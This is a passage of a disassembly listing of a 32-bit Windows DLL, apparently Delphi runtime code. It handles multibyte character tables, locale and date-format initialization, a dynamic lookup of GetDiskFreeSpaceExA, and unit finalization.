sub_10007134	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100071A4	proc near		; CODE XREF: sub_1000721C+1Bp
					; sub_10007240+Bp
		push	esi
		push	edi
		mov	edi, edx
		xor	edx, edx
		test	eax, eax
		jz	short loc_10007214
		cmp	byte ptr [eax+edi], 0
		jz	short loc_10007214
		test	edi, edi
		jnz	short loc_100071CC
		mov	al, [eax]
		and	eax, 0FFh
		bt	ds:dword_100090C4, eax
		jnb	short loc_10007214
		mov	dl, 1
		jmp	short loc_10007214
; ---------------------------------------------------------------------------

loc_100071CC:				; CODE XREF: sub_100071A4+12j
		mov	esi, edi
		dec	esi
		jmp	short loc_100071D2
; ---------------------------------------------------------------------------

loc_100071D1:				; CODE XREF: sub_100071A4+42j
		dec	esi

loc_100071D2:				; CODE XREF: sub_100071A4+2Bj
		test	esi, esi
		jl	short loc_100071E8
		mov	cl, [eax+esi]
		and	ecx, 0FFh
		bt	ds:dword_100090C4, ecx
		jb	short loc_100071D1

loc_100071E8:				; CODE XREF: sub_100071A4+30j
		mov	ecx, edi
		sub	ecx, esi
		and	ecx, 80000001h
		jns	short loc_100071F9
		dec	ecx
		or	ecx, 0FFFFFFFEh
		inc	ecx

loc_100071F9:				; CODE XREF: sub_100071A4+4Ej
		test	ecx, ecx
		jnz	short loc_10007201
		mov	dl, 2
		jmp	short loc_10007214
; ---------------------------------------------------------------------------

loc_10007201:				; CODE XREF: sub_100071A4+57j
		mov	al, [eax+edi]
		and	eax, 0FFh
		bt	ds:dword_100090C4, eax
		jnb	short loc_10007214
		mov	dl, 1

loc_10007214:				; CODE XREF: sub_100071A4+8j
					; sub_100071A4+Ej ...
		mov	eax, edx
		pop	edi
		pop	esi
		retn
sub_100071A4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1000721C	proc near		; CODE XREF: sub_100055B0+37p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		cmp	byte ptr ds:dword_1000A74C, 0
		jz	short loc_1000723C
		mov	eax, ebx
		call	sub_1000397C
		mov	edx, esi
		dec	edx
		call	sub_100071A4

loc_1000723C:				; CODE XREF: sub_1000721C+Fj
		pop	esi
		pop	ebx
		retn
sub_1000721C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10007240	proc near		; CODE XREF: sub_10005760+1Bp
					; sub_100072DC+1Cp
		xor	ecx, ecx
		cmp	byte ptr ds:dword_1000A74C, 0
		jz	short loc_10007252
		call	sub_100071A4
		mov	ecx, eax

loc_10007252:				; CODE XREF: sub_10007240+9j
		mov	eax, ecx
		retn
sub_10007240	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10007258	proc near		; CODE XREF: sub_10007278+31p
		push	ebx
		mov	ebx, eax
		cmp	byte ptr ds:dword_1000A74C, 0
		jz	short loc_1000726E
		push	ebx
		call	sub_10004668	; CharNextA
		sub	eax, ebx
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_1000726E:				; CODE XREF: sub_10007258+Aj
		mov	eax, 1
		pop	ebx
		retn
sub_10007258	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10007278	proc near		; CODE XREF: sub_100064F0+D1p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, 1
		cmp	byte ptr ds:dword_1000A74C, 0
		jz	short loc_100072AE
		mov	dl, [ebx+esi-1]
		and	edx, 0FFh
		bt	ds:dword_100090C4, edx
		jnb	short loc_100072AE
		mov	eax, ebx
		call	sub_1000397C
		add	eax, esi
		dec	eax
		call	sub_10007258

loc_100072AE:				; CODE XREF: sub_10007278+12j
					; sub_10007278+25j
		pop	esi
		pop	ebx
		retn
sub_10007278	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100072B4	proc near		; CODE XREF: CODE:100067A2p
		push	ebx
		push	esi
		mov	ebx, edx
		mov	edx, ebx
		call	sub_100072DC
		mov	esi, eax
		test	bl, bl
		jz	short loc_100072D7
		test	eax, eax
		jz	short loc_100072D7

loc_100072C9:				; CODE XREF: sub_100072B4+21j
		mov	esi, eax
		inc	eax
		mov	edx, ebx
		call	sub_100072DC
		test	eax, eax
		jnz	short loc_100072C9

loc_100072D7:				; CODE XREF: sub_100072B4+Fj
					; sub_100072B4+13j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_100072B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_100072DC	proc near		; CODE XREF: sub_100072B4+6p
					; sub_100072B4+1Ap
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		mov	edx, ebx
		mov	eax, esi
		call	sub_1000574C
		mov	edi, eax
		test	edi, edi
		jz	short loc_10007316

loc_100072F2:				; CODE XREF: sub_100072DC+38j
		mov	edx, edi
		sub	edx, esi
		mov	eax, esi
		call	sub_10007240
		sub	al, 1
		jb	short loc_10007316
		jz	short loc_10007305
		jmp	short loc_10007306
; ---------------------------------------------------------------------------

loc_10007305:				; CODE XREF: sub_100072DC+25j
		inc	edi

loc_10007306:				; CODE XREF: sub_100072DC+27j
		inc	edi
		mov	edx, ebx
		mov	eax, edi
		call	sub_1000574C
		mov	edi, eax
		test	edi, edi
		jnz	short loc_100072F2

loc_10007316:				; CODE XREF: sub_100072DC+14j
					; sub_100072DC+23j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100072DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000731C	proc near		; CODE XREF: sub_10007390+13p

var_C		= dword	ptr -0Ch
var_7		= byte ptr -7

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_C], edx
		xor	edx, edx
		push	ebp
		push	offset loc_10007380
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	7
		lea	edx, [ebp+var_7]
		push	edx
		push	1004h
		push	eax
		call	sub_100045B8	; GetLocaleInfoA
		lea	eax, [ebp+var_C]
		lea	edx, [ebp+var_7]
		mov	ecx, 7
		call	sub_10003868
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_10004590	; GetACP
		mov	edx, eax
		pop	eax
		call	sub_10005580
		mov	ebx, eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10007387

loc_10007377:				; CODE XREF: sub_1000731C+69j
		lea	eax, [ebp+var_C]
		call	sub_10003620
		retn
; ---------------------------------------------------------------------------

loc_10007380:				; DATA XREF: sub_1000731C+Fo
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10007377
; ---------------------------------------------------------------------------

loc_10007387:				; CODE XREF: sub_1000731C+63j
					; DATA XREF: sub_1000731C+56o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_1000731C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10007390	proc near		; CODE XREF: sub_10007408+93p
					; sub_10007408+145p

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		add	edi, 0FFFFFFECh
		push	edi
		mov	eax, ds:dword_1000A740
		call	sub_1000731C
		push	eax
		call	sub_10004598	; GetCPInfo
		xor	esi, esi
		jmp	short loc_100073DB
; ---------------------------------------------------------------------------

loc_100073B2:				; CODE XREF: sub_10007390+58j
		mov	al, [edi+esi+6]
		mov	bl, [edi+esi+7]
		sub	bl, al
		jb	short loc_100073D8
		inc	ebx
		mov	[ebp+var_1], al

loc_100073C2:				; CODE XREF: sub_10007390+46j
		mov	al, [ebp+var_1]
		and	eax, 0FFh
		bts	ds:dword_100090C4, eax
		inc	[ebp+var_1]
		dec	bl
		jnz	short loc_100073C2

loc_100073D8:				; CODE XREF: sub_10007390+2Cj
		add	esi, 2

loc_100073DB:				; CODE XREF: sub_10007390+20j
		cmp	esi, 0Ch
		jge	short loc_100073EA
		mov	al, [edi+esi+6]
		or	al, [edi+esi+7]
		jnz	short loc_100073B2

loc_100073EA:				; CODE XREF: sub_10007390+4Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_10007390	endp


; =============== S U B	R O U T	I N E =======================================



sub_100073F0	proc near		; CODE XREF: sub_10007408+76p
		mov	eax, ds:dword_1000A744
		cmp	eax, 1Fh
		ja	short loc_10007401
		bt	ds:dword_1000928C, eax

loc_10007401:				; CODE XREF: sub_100073F0+8j
		setb	al
		retn
sub_100073F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10007408	proc near		; CODE XREF: sub_1000757C+1Ep

var_196		= byte ptr -196h
var_94		= byte ptr -94h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE68h
		push	ebx
		push	esi
		push	edi
		mov	ds:dword_1000A740, 409h
		mov	ds:dword_1000A744, 9
		mov	ds:dword_1000A748, 1
		call	sub_100045F8	; GetThreadLocale
		test	eax, eax
		jz	short loc_10007440
		mov	ds:dword_1000A740, eax

loc_10007440:				; CODE XREF: sub_10007408+31j
		test	ax, ax
		jz	short loc_10007460
		mov	edx, eax
		and	dx, 3FFh
		movzx	edx, dx
		mov	ds:dword_1000A744, edx
		movzx	eax, ax
		shr	eax, 0Ah
		mov	ds:dword_1000A748, eax

loc_10007460:				; CODE XREF: sub_10007408+3Bj
		mov	esi, offset dword_1000755C
		mov	edi, offset dword_100090C4
		mov	ecx, 8
		rep movsd
		cmp	ds:dword_100090B0, 2
		jnz	loc_10007525
		call	sub_100073F0
		test	al, al
		jz	short loc_1000749A
		mov	byte ptr ds:dword_1000A74C+1, 0
		mov	byte ptr ds:dword_1000A74C, 0
		jmp	loc_10007553
; ---------------------------------------------------------------------------

loc_1000749A:				; CODE XREF: sub_10007408+7Dj
		push	ebp
		call	sub_10007390
		pop	ecx
		mov	eax, offset dword_100090C4
		mov	edx, offset dword_1000755C
		mov	cl, 20h
		call	sub_10002828
		setnz	bl
		mov	byte ptr ds:dword_1000A74C, bl
		test	bl, bl
		jz	short loc_100074CB
		mov	byte ptr ds:dword_1000A74C+1, 0
		jmp	loc_10007553
; ---------------------------------------------------------------------------

loc_100074CB:				; CODE XREF: sub_10007408+B5j
		mov	eax, 80h
		lea	edx, [ebp+var_94]

loc_100074D6:				; CODE XREF: sub_10007408+D7j
		mov	[edx], al
		inc	eax
		inc	edx
		cmp	eax, 100h
		jnz	short loc_100074D6
		lea	eax, [ebp+var_94]
		lea	edx, [ebp+var_196]
		push	edx
		push	80h
		push	eax
		push	2
		mov	eax, ds:dword_1000A740
		push	eax
		call	sub_100045E0	; GetStringTypeExA
		mov	eax, 80h
		lea	edx, [ebp+var_196]

loc_1000750C:				; CODE XREF: sub_10007408+119j
		cmp	word ptr [edx],	2
		setz	cl
		mov	byte ptr ds:dword_1000A74C+1, cl
		test	cl, cl
		jnz	short loc_10007553
		add	edx, 2
		dec	eax
		jnz	short loc_1000750C
		jmp	short loc_10007553
; ---------------------------------------------------------------------------

loc_10007525:				; CODE XREF: sub_10007408+70j
		push	4Ah
		call	sub_10004678	; GetSystemMetrics
		test	eax, eax
		setnz	al
		mov	byte ptr ds:dword_1000A74C+1, al
		push	2Ah
		call	sub_10004678	; GetSystemMetrics
		test	eax, eax
		setnz	bl
		mov	byte ptr ds:dword_1000A74C, bl
		test	bl, bl
		jz	short loc_10007553
		push	ebp
		call	sub_10007390
		pop	ecx

loc_10007553:				; CODE XREF: sub_10007408+8Dj
					; sub_10007408+BEj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_10007408	endp

; ---------------------------------------------------------------------------
		align 4
dword_1000755C	dd 8 dup(0)		; DATA XREF: sub_10007408:loc_10007460o
					; sub_10007408+9Eo

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000757C	proc near		; CODE XREF: sub_10007DD0+55p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 8

loc_10007584:				; CODE XREF: sub_1000757C+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_10007584
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_10007847
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_10007408
		call	sub_10006268
		cmp	byte ptr ds:dword_1000A74C, 0
		jz	short loc_100075B2
		call	sub_10006440

loc_100075B2:				; CODE XREF: sub_1000757C+2Fj
		call	sub_100045F8	; GetThreadLocale
		mov	ebx, eax
		lea	eax, [ebp+var_10]
		push	eax
		xor	ecx, ecx
		mov	edx, 14h
		mov	eax, ebx
		call	sub_100061B8
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_1000A680
		call	sub_10003674
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, offset dword_1000785C
		mov	edx, 1Bh
		mov	eax, ebx
		call	sub_100061B8
		mov	eax, [ebp+var_14]
		xor	edx, edx
		call	sub_10005580
		mov	ds:byte_1000A684, al
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, offset dword_1000785C
		mov	edx, 1Ch
		mov	eax, ebx
		call	sub_100061B8
		mov	eax, [ebp+var_18]
		xor	edx, edx
		call	sub_10005580
		mov	ds:byte_1000A685, al
		mov	cl, 2Ch
		mov	edx, 0Fh
		mov	eax, ebx
		call	sub_10006204
		mov	ds:byte_1000A686, al
		mov	cl, 2Eh
		mov	edx, 0Eh
		mov	eax, ebx
		call	sub_10006204
		mov	ds:byte_1000A687, al
		lea	eax, [ebp+var_1C]
		push	eax
		mov	ecx, offset dword_1000785C
		mov	edx, 19h
		mov	eax, ebx
		call	sub_100061B8
		mov	eax, [ebp+var_1C]
		xor	edx, edx
		call	sub_10005580
		mov	ds:byte_1000A688, al
		mov	cl, 2Fh
		mov	edx, 1Dh
		mov	eax, ebx
		call	sub_10006204
		mov	ds:byte_1000A689, al
		lea	eax, [ebp+var_24]
		push	eax
		mov	ecx, offset dword_10007868
		mov	edx, 1Fh
		mov	eax, ebx
		call	sub_100061B8
		mov	eax, [ebp+var_24]
		lea	edx, [ebp+var_20]
		call	sub_100064F0
		mov	edx, [ebp+var_20]
		mov	eax, offset dword_1000A68C
		call	sub_10003674
		lea	eax, [ebp+var_2C]
		push	eax
		mov	ecx, offset dword_10007878
		mov	edx, 20h
		mov	eax, ebx
		call	sub_100061B8
		mov	eax, [ebp+var_2C]
		lea	edx, [ebp+var_28]
		call	sub_100064F0
		mov	edx, [ebp+var_28]
		mov	eax, offset dword_1000A690
		call	sub_10003674
		mov	cl, 3Ah
		mov	edx, 1Eh
		mov	eax, ebx
		call	sub_10006204
		mov	ds:byte_1000A694, al
		lea	eax, [ebp+var_30]
		push	eax
		mov	ecx, offset dword_10007890
		mov	edx, 28h
		mov	eax, ebx
		call	sub_100061B8
		mov	edx, [ebp+var_30]
		mov	eax, offset dword_1000A698
		call	sub_10003674
		lea	eax, [ebp+var_34]
		push	eax
		mov	ecx, offset dword_1000789C
		mov	edx, 29h
		mov	eax, ebx
		call	sub_100061B8
		mov	edx, [ebp+var_34]
		mov	eax, offset dword_1000A69C
		call	sub_10003674
		lea	eax, [ebp+var_8]
		call	sub_10003620
		lea	eax, [ebp+var_C]
		call	sub_10003620
		lea	eax, [ebp+var_38]
		push	eax
		mov	ecx, offset dword_1000785C
		mov	edx, 25h
		mov	eax, ebx
		call	sub_100061B8
		mov	eax, [ebp+var_38]
		xor	edx, edx
		call	sub_10005580
		test	eax, eax
		jnz	short loc_10007770
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_100078A8
		call	sub_100036B8
		jmp	short loc_1000777D
; ---------------------------------------------------------------------------

loc_10007770:				; CODE XREF: sub_1000757C+1E3j
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_100078B4
		call	sub_100036B8

loc_1000777D:				; CODE XREF: sub_1000757C+1F2j
		lea	eax, [ebp+var_3C]
		push	eax
		mov	ecx, offset dword_1000785C
		mov	edx, 23h
		mov	eax, ebx
		call	sub_100061B8
		mov	eax, [ebp+var_3C]
		xor	edx, edx
		call	sub_10005580
		test	eax, eax
		jnz	short loc_100077DF
		lea	eax, [ebp+var_40]
		push	eax
		mov	ecx, offset dword_1000785C
		mov	edx, 1005h
		mov	eax, ebx
		call	sub_100061B8
		mov	eax, [ebp+var_40]
		xor	edx, edx
		call	sub_10005580
		test	eax, eax
		jnz	short loc_100077D2
		lea	eax, [ebp+var_C]
		mov	edx, offset dword_100078C0
		call	sub_100036B8
		jmp	short loc_100077DF
; ---------------------------------------------------------------------------

loc_100077D2:				; CODE XREF: sub_1000757C+245j
		lea	eax, [ebp+var_8]
		mov	edx, offset dword_100078D0
		call	sub_100036B8

loc_100077DF:				; CODE XREF: sub_1000757C+222j
					; sub_1000757C+254j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset dword_100078E0
		push	[ebp+var_C]
		mov	eax, offset dword_1000A6A0
		mov	edx, 4
		call	sub_100038E0
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset dword_100078EC
		push	[ebp+var_C]
		mov	eax, offset dword_1000A6A4
		mov	edx, 4
		call	sub_100038E0
		mov	cl, 2Ch
		mov	edx, 0Ch
		mov	eax, ebx
		call	sub_10006204
		mov	byte ptr ds:dword_1000A74C+2, al
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_1000784E

loc_10007839:				; CODE XREF: sub_1000757C+2D0j
		lea	eax, [ebp+var_40]
		mov	edx, 10h
		call	sub_10003644
		retn
; ---------------------------------------------------------------------------

loc_10007847:				; DATA XREF: sub_1000757C+13o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10007839
; ---------------------------------------------------------------------------

loc_1000784E:				; CODE XREF: sub_1000757C+2CAj
					; DATA XREF: sub_1000757C+2B8o
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_1000757C	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_1000785C	dd 30h,	0FFFFFFFFh, 6	; DATA XREF: sub_1000757C+60o
					; sub_1000757C+84o ...
dword_10007868	dd 2F642F6Dh, 7979h, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_1000757C+105o
dword_10007878	dd 6D6D6D6Dh, 202C6420h, 79797979h, 0 ;	DATA XREF: sub_1000757C+132o
		dd 0FFFFFFFFh, 2
dword_10007890	dd 6D61h, 0FFFFFFFFh, 2	; DATA XREF: sub_1000757C+172o
dword_1000789C	dd 6D70h, 0FFFFFFFFh, 1	; DATA XREF: sub_1000757C+194o
dword_100078A8	dd 68h,	0FFFFFFFFh, 2	; DATA XREF: sub_1000757C+1E8o
dword_100078B4	dd 6868h, 0FFFFFFFFh, 5	; DATA XREF: sub_1000757C+1F7o
dword_100078C0	dd 504D4120h, 4Dh, 0FFFFFFFFh, 5 ; DATA	XREF: sub_1000757C+24Ao
dword_100078D0	dd 4D504D41h, 20h, 0FFFFFFFFh, 3 ; DATA	XREF: sub_1000757C+259o
dword_100078E0	dd 6D6D3Ah, 0FFFFFFFFh,	6 ; DATA XREF: sub_1000757C+269o
dword_100078EC	dd 3A6D6D3Ah, 7373h	; DATA XREF: sub_1000757C+286o

; =============== S U B	R O U T	I N E =======================================



sub_100078F4	proc near		; CODE XREF: sub_10007C50+27p
		push	ebx
		mov	ebx, offset dword_10009290
		jmp	short loc_1000790C
; ---------------------------------------------------------------------------

loc_100078FC:				; CODE XREF: sub_100078F4+1Bj
		mov	eax, [ebx]
		mov	edx, [eax]
		mov	[ebx], edx
		mov	edx, 8
		call	sub_10002518

loc_1000790C:				; CODE XREF: sub_100078F4+6j
		cmp	dword ptr [ebx], 0
		jnz	short loc_100078FC
		pop	ebx
		retn
sub_100078F4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10007914	proc near		; CODE XREF: sub_10007DD0+50p
		push	ebx
		push	offset dword_1000794C
		call	sub_100045C8	; GetModuleHandleA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_10007935
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	ebx
		call	sub_100045D0	; GetProcAddress
		mov	ds:dword_100090E8, eax

loc_10007935:				; CODE XREF: sub_10007914+Fj
		cmp	ds:dword_100090E8, 0
		jnz	short loc_10007948
		mov	eax, offset sub_10005638
		mov	ds:dword_100090E8, eax

loc_10007948:				; CODE XREF: sub_10007914+28j
		pop	ebx
		retn
sub_10007914	endp

; ---------------------------------------------------------------------------
		align 4
dword_1000794C	dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 ;	DATA XREF: sub_10007914+1o
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_10007914+11o

; =============== S U B	R O U T	I N E =======================================



sub_10007970	proc near		; CODE XREF: sub_10007C50+22p
		mov	edx, [eax]
		xor	ecx, ecx
		mov	[eax], ecx
		mov	eax, edx
		call	sub_10002C8C
		retn
sub_10007970	endp

; ---------------------------------------------------------------------------
		align 10h
dword_10007980	dd 1Dh			; DATA XREF: sub_10007DD0+1Ao
		dd offset dword_10009288
		dd offset off_10009388
		dd offset dword_10009280
		dd offset off_10009344
		dd offset dword_10009278
		dd offset off_100092B8
		dd offset dword_10009270
		dd offset off_1000939C
		dd offset dword_10009268
		dd offset off_100093B0
		dd offset dword_10009260
		dd offset off_100092FC
		dd offset dword_10009258
		dd offset off_1000933C
		dd offset dword_10009250
		dd offset off_1000929C
		dd offset dword_10009248
		dd offset off_1000934C
		dd offset dword_10009240
		dd offset off_10009358
		dd offset dword_10009238
		dd offset off_10009320
		dd offset dword_10009230
		dd offset off_10009328
		dd offset dword_10009228
		dd offset off_100093D0
		dd offset dword_10009220
		dd offset off_10009324
		dd offset dword_10009218
		dd offset off_100093F0
		dd offset dword_10009210
		dd offset off_1000937C
		dd offset dword_10009208
		dd offset off_1000936C
		dd offset dword_10009200
		dd offset off_100093F4
		dd offset dword_100091F8
		dd offset off_100093E0
		dd offset dword_100091F0
		dd offset off_10009334
		dd offset dword_100091E8
		dd offset off_100093D4
		dd offset dword_100091E0
		dd offset off_100093D8
		dd offset dword_100091D8
		dd offset off_100092F0
		dd offset dword_100091D0
		dd offset off_100092CC
		dd offset dword_100091C8
		dd offset off_10009368
		dd offset dword_100091C0
		dd offset off_10009398
		dd offset dword_100091B8
		dd offset off_100092A0
		dd offset dword_100091B0
		dd offset off_100093CC
		dd offset dword_100091A8
		dd offset off_10009330
dword_10007A6C	dd 28h			; DATA XREF: sub_10007DD0+24o
		dd offset off_100091A0
		dd offset off_100093C4
		dd 0
		dd offset off_1000919C
		dd offset off_100092BC
		align 8
		dd offset off_10009198
		dd offset off_10009394
		dd 0
		dd offset off_10009194
		dd offset off_100092AC
		dd 0
		dd offset off_10009190
		dd offset off_100092D8
		dd 0
		dd offset off_1000918C
		dd offset off_100092D0
		align 8
		dd offset off_10009188
		dd offset off_100092C4
		dd 0
		dd offset off_10009184
		dd offset off_1000932C
		align 10h
		dd offset off_10009180
		dd offset off_10009378
		dd 0
		dd offset off_1000917C
		dd offset off_100092D4
		align 8
		dd offset off_10009178
		dd offset off_10009364
		dd 0
		dd offset off_10009174
		dd offset off_100093AC
		align 10h
		dd offset off_10009170
		dd offset off_100093A4
		dd 0
		dd offset off_1000916C
		dd offset off_10009380
		align 8
		dd offset off_10009168
		dd offset off_1000931C
		dd 0
		dd offset off_10009164
		dd offset off_10009308
		align 10h
		dd offset off_10009160
		dd offset off_100092A8
		dd 0
		dd offset off_1000915C
		dd offset off_100093A0
		align 8
		dd offset off_10009158
		dd offset off_10009354
		dd 0
		dd offset off_10009154
		dd offset off_10009300
		align 10h
		dd offset off_10009150
		dd offset off_10009348
		dd 0
		dd offset off_1000914C
		dd offset off_10009370
		align 8
		dd offset off_10009148
		dd offset off_10009350
		dd 0
		dd offset off_10009144
		dd offset off_10009310
		align 10h
		dd offset off_10009140
		dd offset off_100092A4
		dd 0
		dd offset off_1000913C
		dd offset off_10009340
		align 8
		dd offset off_10009138
		dd offset off_100093DC
		dd 0
		dd offset off_10009134
		dd offset off_100093C0
		align 10h
		dd offset off_10009130
		dd offset off_10009360
		dd 0
		dd offset off_1000912C
		dd offset off_100092EC
		align 8
		dd offset off_10009128
		dd offset off_100092B0
		dd 0
		dd offset off_10009124
		dd offset off_100093B8
		align 10h
		dd offset off_10009120
		dd offset off_100093FC
		dd 0
		dd offset off_1000911C
		dd offset off_100092C8
		align 8
		dd offset off_10009118
		dd offset off_10009298
		dd 0
		dd offset off_10009114
		dd offset off_100093C8
		align 10h
		dd offset off_10009110
		dd offset off_1000935C
		dd 0
		dd offset off_1000910C
		dd offset off_100093E4
		align 8
		dd offset off_100090F8
		dd offset off_10009338
		dd 0
		dd offset off_100090F4
		dd offset off_100092F4
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10007C50	proc near		; DATA XREF: CODE:10008658o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_10007DC5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_1000A790
		jnz	loc_10007DB7
		mov	eax, offset dword_1000A79C
		call	sub_10007970
		call	sub_100078F4
		call	sub_100070B4
		mov	eax, offset off_100091DC
		mov	ecx, 16h
		mov	edx, off_10006B8C
		call	sub_10003AB4
		mov	eax, offset dword_100091A4
		mov	ecx, 7
		mov	edx, off_10006B0C
		call	sub_10003AB4
		mov	eax, offset off_100090EC
		mov	ecx, 2
		mov	edx, off_10001000
		call	sub_10003AB4
		mov	eax, offset off_100090E4
		call	sub_10003620
		mov	eax, offset dword_1000A78C
		mov	edx, off_10005414
		call	sub_10003BCC
		mov	eax, offset dword_1000A788
		mov	edx, off_100053F0
		call	sub_10003BCC
		mov	eax, offset dword_1000A750
		mov	ecx, 7
		mov	edx, off_10001000
		call	sub_10003AB4
		mov	eax, offset dword_1000A724
		mov	ecx, 7
		mov	edx, off_10001000
		call	sub_10003AB4
		mov	eax, offset dword_1000A708
		mov	ecx, 7
		mov	edx, off_10001000
		call	sub_10003AB4
		mov	eax, offset dword_1000A6D8
		mov	ecx, 0Ch
		mov	edx, off_10001000
		call	sub_10003AB4
		mov	eax, offset dword_1000A6A8
		mov	ecx, 0Ch
		mov	edx, off_10001000
		call	sub_10003AB4
		mov	eax, offset dword_1000A6A4
		call	sub_10003620
		mov	eax, offset dword_1000A6A0
		call	sub_10003620
		mov	eax, offset dword_1000A69C
		call	sub_10003620
		mov	eax, offset dword_1000A698
		call	sub_10003620
		mov	eax, offset dword_1000A690
		call	sub_10003620
		mov	eax, offset dword_1000A68C
		call	sub_10003620
		mov	eax, offset dword_1000A680
		call	sub_10003620
		mov	eax, offset dword_100090C0
		call	sub_10003620
		mov	eax, offset dword_100090AC
		call	sub_10003A2C
		mov	eax, offset dword_100090A8
		call	sub_10003620

loc_10007DB7:				; CODE XREF: sub_10007C50+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10007DCC

loc_10007DC4:				; CODE XREF: sub_10007C50+17Aj
		retn
; ---------------------------------------------------------------------------

loc_10007DC5:				; DATA XREF: sub_10007C50+6o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10007DC4
; ---------------------------------------------------------------------------

loc_10007DCC:				; CODE XREF: sub_10007C50:loc_10007DC4j
					; DATA XREF: sub_10007C50+16Fo
		pop	ebp
		retn
sub_10007C50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10007DD0	proc near		; DATA XREF: CODE:10008654o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_10007E38
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		sub	ds:dword_1000A790, 1
		jnb	short loc_10007E2A
		mov	eax, offset dword_10007980
		call	sub_100033CC
		mov	eax, offset dword_10007A6C
		call	sub_100033F4
		cmp	ds:byte_1000A661, 0
		jz	short loc_10007E16
		mov	eax, offset off_100090E4
		mov	edx, offset dword_10007E4C
		call	sub_10003674

loc_10007E16:				; CODE XREF: sub_10007DD0+35j
		call	sub_10007030
		call	sub_10007134
		call	sub_10007914
		call	sub_1000757C

loc_10007E2A:				; CODE XREF: sub_10007DD0+18j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10007E3F

loc_10007E37:				; CODE XREF: sub_10007DD0+6Dj
		retn
; ---------------------------------------------------------------------------

loc_10007E38:				; DATA XREF: sub_10007DD0+6o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10007E37
; ---------------------------------------------------------------------------

loc_10007E3F:				; CODE XREF: sub_10007DD0:loc_10007E37j
					; DATA XREF: sub_10007DD0+62o
